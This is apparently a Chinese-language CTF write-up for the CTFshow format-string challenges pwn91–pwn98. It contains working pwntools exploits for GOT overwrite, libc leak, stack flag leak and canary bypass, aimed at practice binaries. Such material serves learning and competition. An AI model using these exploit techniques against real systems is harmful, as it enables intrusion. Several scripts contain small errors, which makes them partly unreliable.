ctfshow-做题笔记-格式化字符串

pwn91

日常检查

1
2
3
4
5
6
7
8
bbq@ubuntu:~/桌面/pwnCTF/pwn91$ checksec pwn
[*] '/home/bbq/桌面/pwnCTF/pwn91/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
bbq@ubuntu:~/桌面/pwnCTF/pwn91$

还是很简单的

就直接赋值就行应该

啊啊啊啊啊啊啊啊啊啊啊啊啊

我是真废啊

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
ctfshow();
if ( daniu == 6 )
{
puts("daniu praise you for a good job!");
system("/bin/sh");
}
return 0;
}

满足条件就行是吧

看一下daniu在bss段上怎么说

1
2
3
4
5
6
7
8
from pwn import*
#p=remote('pwn.challenge.ctf.show',28149)
p=process('./pwn')

#backdoor=0x80484F6
payload=P32(0x804B038)+b'aa'+"%7$n"
p.sendline(payload)
p.interactive()

image-20240918144848989

格式化字符串的话找到偏移为7

就是一个常规的传参

pwn92

日常检查

1
2
3
4
5
6
7
8
bbq@ubuntu:~/桌面/pwnCTF/pwn92$ checksec 1111
[*] '/home/bbq/桌面/pwnCTF/pwn92/1111'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
bbq@ubuntu:~/桌面/pwnCTF/pwn92$

ida里面打开

基础题

1
2
3
4
5
from pwn import *
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28223)
io.sendline('%s')
io.interactive()

pwn93

1
2
3
4
5
from pwn import *
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28196)
io.sendline('7')
io.interactive()

pwn94

日常检查

1
2
3
4
5
6
7
8
bbq@ubuntu:~/桌面/pwnCTF/pwn94$ checksec 1111
[*] '/home/bbq/桌面/pwnCTF/pwn94/1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
bbq@ubuntu:~/桌面/pwnCTF/pwn94$

很明显的格式化字符串漏洞

这里使用的是修改printf函数的plt表,让它执行system(/bin/sh)函数

格式化字符串还是老样子

%p找偏移

image-20240919170616840

偏移应该是6

这里介绍一下

payload=fmtstr_payload(偏移,{elf.got[‘’]:elf.plt[‘system’]})

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
io = process('./1111')
#io = remote('pwn.challenge.ctf.show',28223)
#io.sendline('%s')
io=ELF('./1111')
payload=fmtstr_payload(6,{elf.got['printf']:elf.plt['system']})



io.sendline(payload)

io.sendline('/bin/sh\x00')

io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level = 'debug'
#io = process('./fmt')
io = remote('127.0.0.1',10000)
elf = ELF('./pwn')
offset = 6
printf_got = elf.got['printf']
system_plt = elf.plt['system']
payload = fmtstr_payload(offset,{printf_got:system_plt})
io.sendline(payload)
io.recv()
io.sendline('/bin/sh\x00')
io.interactive()

pwn95

2024.9.19

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
bbq@ubuntu:~/桌面/pwnCTF/pwn95$ checksec 11111
usage: pwn checksec [-h] [--file [elf [elf ...]]] [elf [elf ...]]
pwn checksec: error: argument elf: can't open '11111': [Errno 2] No such file or directory: '11111'
bbq@ubuntu:~/桌面/pwnCTF/pwn95$ checksec 1111
[*] '/home/bbq/桌面/pwnCTF/pwn95/1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
bbq@ubuntu:~/桌面/pwnCTF/pwn95$ chmod +x 1111
bbq@ubuntu:~/桌面/pwnCTF/pwn95$ ./1111
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : This time program no system !
* *************************************
ok
ok
pl
pl
^C
bbq@ubuntu:~/桌面/pwnCTF/pwn95$

丢进ida里面看看

跟上一道题差不多但是,没有了system函数

这咋办啊

OK的,格式化字符串泄露libc版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#32位
from pwn import *
#context.log_level = 'debug'
#context.arch = 'i386'
#context.os='linux'
elf = ELF('./1111')
libc=ELF("./libc6_2.31-0ubuntu9.8_i386.so")
p = process('./1111')

#params1

printf_got = elf.got['printf']
payload =p32(printf_got)+b"%6$s"
p.sendline(payload)
printf_addr= u32(p.recvuntil('\xf7')[-4:])
print(hex(printf_addr))


libc_base= printf_addr -libc.sym["printf"]
print(hex(libc_base))

system_addr = libc_base + libc.sym["system"]


payload=fmtstr_payload(6,{elf.got['printf']:system_addr})


p.sendline(payload)
p.sendline("/bin/sh\x00")


p.interactive()

pwn96

2024.9.19

日常检查

1
2
3
4
5
6
7
8
bbq@ubuntu:~/桌面/pwnCTF/pwn96$ checksec 1111
[*] '/home/bbq/桌面/pwnCTF/pwn96/1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
bbq@ubuntu:~/桌面/pwnCTF/pwn96$

ida里面看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char v3[64]; // [esp+0h] [ebp-90h] BYREF
char s[64]; // [esp+40h] [ebp-50h] BYREF
FILE *stream; // [esp+80h] [ebp-10h]
char *v6; // [esp+84h] [ebp-Ch]
int *p_argc; // [esp+88h] [ebp-8h]

p_argc = &argc;
setvbuf(stdout, 0, 2, 0);
v6 = v3;
memset(s, 0, sizeof(s));
memset(s, 0, sizeof(s));
puts(asc_8048830);
puts(asc_80488A4);
puts(asc_8048920);
puts(asc_80489AC);
puts(asc_8048A3C);
puts(asc_8048AC0);
puts(asc_8048B54);
puts(" * ************************************* ");
puts(" * Classify: CTFshow --- PWN --- 入门 ");
puts(" * Type : Format_String ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Flag on the stack! ");
puts(" * ************************************* ");
puts("It's time to learn about format strings!");
puts("Where is the flag?");
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(v3, 64, stream);
while ( 1 )
{
printf("$ ");
fgets(s, 64, stdin);
printf(s);
}
}

怎么说

还是跟上面那道差不多???

这里泄露偏移的时候有点问题

怎么说呢

这里两个fgets只执行了下面的那个

并且我在泄露的时候

输入aaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p

之后找不到0x61616161

只看见了0x67616c66

emmmm~

还是道行太浅

嗷嗷嗷

这里的flag只直接在栈上的

所以说是直接泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

io = process('./1111')
# io = remote('pwn.challenge.ctf.show', 28299)
flag = ''
for i in range(6, 6+12):
payload = '%{}$p'.format(str(i))
io.sendlineafter('$ ', payload)

# Receive output and decode from bytes to string
response = io.recvuntil(b'\n', drop=True).decode()
# Remove '0x' from the hex address string
hex_string = response.replace('0x', '')

# Unhex the string
try:
aim = unhex(hex_string)
# Reverse and attempt to decode using 'latin-1'
flag += aim[::-1].decode('latin-1') # Use 'latin-1' to avoid UnicodeDecodeError
except Exception as e:
print(f"Decoding error at iteration {i}: {e}")
break # Stop the loop if decoding fails

print(flag)
io.close()

ai帮我改的脚本

pwn97

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
bbq@ubuntu:~/桌面/pwnCTF/pwn97$ checksec 1111
[*] '/home/bbq/桌面/pwnCTF/pwn97/1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
bbq@ubuntu:~/桌面/pwnCTF/pwn97$ ./1111
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Find a way to elevate your privileges!
* *************************************
You can use two command('cat /ctfshow_flag' && 'shutdown')
$ok
Here you are:

ok
Permission denied.
bbq@ubuntu:~/桌面/pwnCTF/pwn97$

丢进ida里面看看

歪日

绕半天没有啥用

我一直再绕那个

1
2
3
4
5
if ( !strstr(s, "cat /ctfshow_flag") )
{
puts("Here you are:\n");
printf(s);
}

还是得绕一下

操了

不用绕只要包含这个字符串里面的数字就行了

这里我去查了一下这个strstr函数的用法

首先找一下偏移

image-20240919201226373

结果直接是覆盖返回条件

行吧,偏移是11

1
2
3
4
5
6
7
8
9
from pwn import*
#context.log_level = "debug"
io = process('./1111')

#io = remote('pwn.challenge.ctf.show',28145)
check = 0x804B040
payload = fmtstr_payload(11, {check:1})
io.sendline(payload)
io.interactive()

pwn98

日常检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
bbq@ubuntu:~/桌面/pwnCTF/pwn98$ checksec 1111
[*] '/home/bbq/桌面/pwnCTF/pwn98/1111'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
bbq@ubuntu:~/桌面/pwnCTF/pwn98$ chmod +x 1111
bbq@ubuntu:~/桌面/pwnCTF/pwn98$ ./1111
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Find the vulnerability and then exploit it !
* *************************************
ok
ok^C
bbq@ubuntu:~/桌面/pwnCTF/pwn98$

丢进ida里面看看

看着像个后门

但是开了NX

首先找一下偏移

难道说是格式化字符串泄露canary

直接粘脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level = 'debug'
io = process('./1111')
#io = remote('pwn.challenge.ctf.show',28206)
elf = ELF('./1111')
#shell = elf.sym['__stack_check']
shell= 0x80486CE
io.recv()
payload = "%15$x"
io.sendline(payload)
canary = int(io.recv(),16)
log.info("Canary : 0x%x" % canary)
#payload = cyclic(0x28) + p32(canary) + b'A'*0xC + p32(shell)
payload = b'a'*0x28+ p32(canary) + b'A'*0xC + p32(shell)
io.sendline(payload)
io.interactive()